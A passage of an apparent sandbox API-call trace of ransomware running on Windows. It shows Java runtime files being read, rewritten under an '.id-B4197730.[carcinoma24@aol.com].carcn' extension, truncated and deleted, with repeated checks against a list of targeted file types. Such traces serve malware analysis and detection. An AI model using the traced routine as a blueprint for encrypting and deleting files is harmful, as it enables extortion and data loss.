(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.712] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1 [0300.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.712] lstrlenW (lpString=".doc") returned 4 [0300.712] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.712] lstrlenW (lpString=".docx") returned 5 [0300.712] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0300.712] lstrlenW (lpString=".pdf") returned 4 [0300.712] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.712] lstrlenW (lpString=".xls") returned 4 [0300.712] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.712] lstrlenW (lpString=".xlsx") returned 5 [0300.712] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0300.712] lstrlenW (lpString=".ppt") returned 4 [0300.712] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.712] lstrlenW (lpString=".zip") returned 4 [0300.712] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.712] lstrlenW (lpString=".rar") returned 4 [0300.712] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.712] lstrlenW (lpString=".bz2") returned 4 [0300.713] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.713] lstrlenW (lpString=".7z") returned 3 [0300.713] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.713] lstrlenW (lpString=".dbf") returned 4 [0300.713] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.713] lstrlenW (lpString=".1cd") returned 4 [0300.713] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.713] lstrlenW (lpString=".jpg") returned 4 [0300.713] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.713] lstrlenW (lpString=".doc") returned 4 [0300.713] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.713] lstrlenW (lpString=".docx") returned 5 [0300.713] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0300.713] lstrlenW (lpString=".pdf") returned 4 [0300.713] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.713] lstrlenW (lpString=".xls") returned 4 [0300.713] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.713] lstrlenW (lpString=".xlsx") returned 5 [0300.713] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0300.713] lstrlenW (lpString=".ppt") returned 4 [0300.713] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.713] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.714] lstrlenW (lpString=".zip") returned 4 [0300.714] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.714] lstrlenW (lpString=".rar") returned 4 [0300.714] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.714] lstrlenW (lpString=".bz2") returned 4 [0300.714] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.714] lstrlenW (lpString=".7z") returned 3 [0300.714] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.714] lstrlenW (lpString=".dbf") returned 4 [0300.714] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.714] lstrlenW (lpString=".1cd") returned 4 [0300.714] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.714] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49 [0300.714] lstrlenW (lpString=".jpg") returned 4 [0300.714] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.714] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.714] lstrlenW (lpString="java_crw_demo.dll") returned 17 [0300.714] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.715] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=29760) returned 1 [0300.715] CloseHandle (hObject=0x398) returned 1 [0300.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0300.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.715] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.716] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.716] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.716] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0300.716] GetLastError () returned 0x0 [0300.716] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x7440, lpOverlapped=0x0) returned 1 [0300.729] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x7450, lpOverlapped=0x0) returned 1 [0300.731] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.731] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf6, lpOverlapped=0x0) returned 1 [0300.731] SetEndOfFile (hFile=0x384) returned 1 [0300.731] CloseHandle (hObject=0x384) returned 1 [0300.731] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.731] SetEndOfFile (hFile=0x398) returned 1 [0300.732] CloseHandle (hObject=0x398) returned 1 [0300.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.732] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1 [0300.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.733] lstrlenW (lpString=".doc") returned 4 [0300.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.733] lstrlenW (lpString=".docx") returned 5 [0300.733] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0300.733] lstrlenW (lpString=".pdf") returned 4 [0300.733] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.733] lstrlenW (lpString=".xls") returned 4 [0300.733] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.733] lstrlenW (lpString=".xlsx") returned 5 [0300.733] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0300.733] lstrlenW (lpString=".ppt") returned 4 [0300.733] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.733] lstrlenW (lpString=".zip") returned 4 [0300.733] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.733] lstrlenW (lpString=".rar") returned 4 [0300.733] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.733] lstrlenW (lpString=".bz2") returned 4 [0300.733] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.733] lstrlenW (lpString=".7z") returned 3 [0300.733] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.733] lstrlenW (lpString=".dbf") returned 4 [0300.733] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.733] lstrlenW (lpString=".1cd") returned 4 [0300.733] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.733] lstrlenW (lpString=".jpg") returned 4 [0300.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.734] lstrlenW (lpString=".doc") returned 4 [0300.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.734] lstrlenW (lpString=".docx") returned 5 [0300.734] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0300.734] lstrlenW (lpString=".pdf") returned 4 [0300.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.734] lstrlenW (lpString=".xls") returned 4 [0300.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.734] lstrlenW (lpString=".xlsx") returned 5 [0300.734] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0300.734] lstrlenW (lpString=".ppt") returned 4 [0300.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.734] lstrlenW (lpString=".zip") returned 4 [0300.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.734] lstrlenW (lpString=".rar") returned 4 [0300.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.734] lstrlenW (lpString=".bz2") returned 4 [0300.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.734] lstrlenW (lpString=".7z") returned 3 [0300.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.734] lstrlenW (lpString=".dbf") returned 4 [0300.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.734] lstrlenW (lpString=".1cd") returned 4 [0300.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56 [0300.734] lstrlenW (lpString=".jpg") returned 4 [0300.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.735] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.735] lstrlenW (lpString="jawt.dll") returned 8 [0300.735] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.735] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=14400) returned 1 [0300.735] CloseHandle (hObject=0x398) returned 1 [0300.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0300.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.735] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.735] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.736] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0300.736] GetLastError () returned 0x0 [0300.736] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x3840, lpOverlapped=0x0) returned 1 [0301.283] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x3850, lpOverlapped=0x0) returned 1 [0301.284] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.284] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe4, lpOverlapped=0x0) returned 1 [0301.284] SetEndOfFile (hFile=0x384) returned 1 [0301.887] CloseHandle (hObject=0x384) returned 1 [0301.887] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.888] SetEndOfFile (hFile=0x398) returned 1 [0301.888] CloseHandle (hObject=0x398) returned 1 [0301.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0301.889] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1 [0301.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.889] lstrlenW (lpString=".doc") returned 4 [0301.889] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.889] lstrlenW (lpString=".docx") returned 5 [0301.889] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.889] lstrlenW (lpString=".pdf") returned 4 [0301.889] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.889] lstrlenW (lpString=".xls") returned 4 [0301.889] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.889] lstrlenW (lpString=".xlsx") returned 5 [0301.889] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.889] lstrlenW (lpString=".ppt") returned 4 [0301.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.889] lstrlenW (lpString=".zip") returned 4 [0301.889] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.889] lstrlenW (lpString=".rar") returned 4 [0301.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.889] lstrlenW (lpString=".bz2") returned 4 [0301.889] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.889] lstrlenW (lpString=".7z") returned 3 [0301.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString=".dbf") returned 4 [0301.890] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString=".1cd") returned 4 [0301.890] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString=".jpg") returned 4 [0301.890] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString=".doc") returned 4 [0301.890] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.890] lstrlenW (lpString=".docx") returned 5 [0301.890] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.890] lstrlenW (lpString=".pdf") returned 4 [0301.890] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.890] lstrlenW (lpString=".xls") returned 4 [0301.890] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.890] lstrlenW (lpString=".xlsx") returned 5 [0301.890] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.890] lstrlenW (lpString=".ppt") returned 4 [0301.890] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString=".zip") returned 4 [0301.890] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.890] lstrlenW (lpString=".rar") returned 4 [0301.890] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.890] lstrlenW (lpString=".bz2") returned 4 [0301.890] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.890] lstrlenW (lpString=".7z") returned 3 [0301.890] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString=".dbf") returned 4 [0301.890] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.890] lstrlenW (lpString=".1cd") returned 4 [0301.891] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47 [0301.891] lstrlenW (lpString=".jpg") returned 4 [0301.891] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.915] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0301.915] lstrlenW (lpString="jp2launcher.exe") returned 15 [0301.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.916] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=112192) returned 1 [0301.916] CloseHandle (hObject=0x364) returned 1 [0301.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0301.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.916] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.916] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.917] GetLastError () returned 0x0 [0301.917] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x1b640, lpOverlapped=0x0) returned 1 [0302.091] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x1b650, lpOverlapped=0x0) returned 1 [0302.093] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.093] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf2, lpOverlapped=0x0) returned 1 [0302.093] SetEndOfFile (hFile=0x390) returned 1 [0302.094] CloseHandle (hObject=0x390) returned 1 [0302.094] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.094] SetEndOfFile (hFile=0x364) returned 1 [0302.095] CloseHandle (hObject=0x364) returned 1 [0302.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.096] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0302.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.096] lstrlenW (lpString=".doc") returned 4 [0302.096] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.096] lstrlenW (lpString=".docx") returned 5 [0302.096] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0302.096] lstrlenW (lpString=".pdf") returned 4 [0302.096] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.096] lstrlenW (lpString=".xls") returned 4 [0302.096] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.096] lstrlenW (lpString=".xlsx") returned 5 [0302.096] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0302.096] lstrlenW (lpString=".ppt") returned 4 [0302.096] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0302.096] lstrlenW (lpString=".zip") returned 4 [0302.096] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.096] lstrlenW (lpString=".rar") returned 4 [0302.097] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.097] lstrlenW (lpString=".bz2") returned 4 [0302.097] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.097] lstrlenW (lpString=".7z") returned 3 [0302.097] lstrcmpiW (lpString1=".7z", 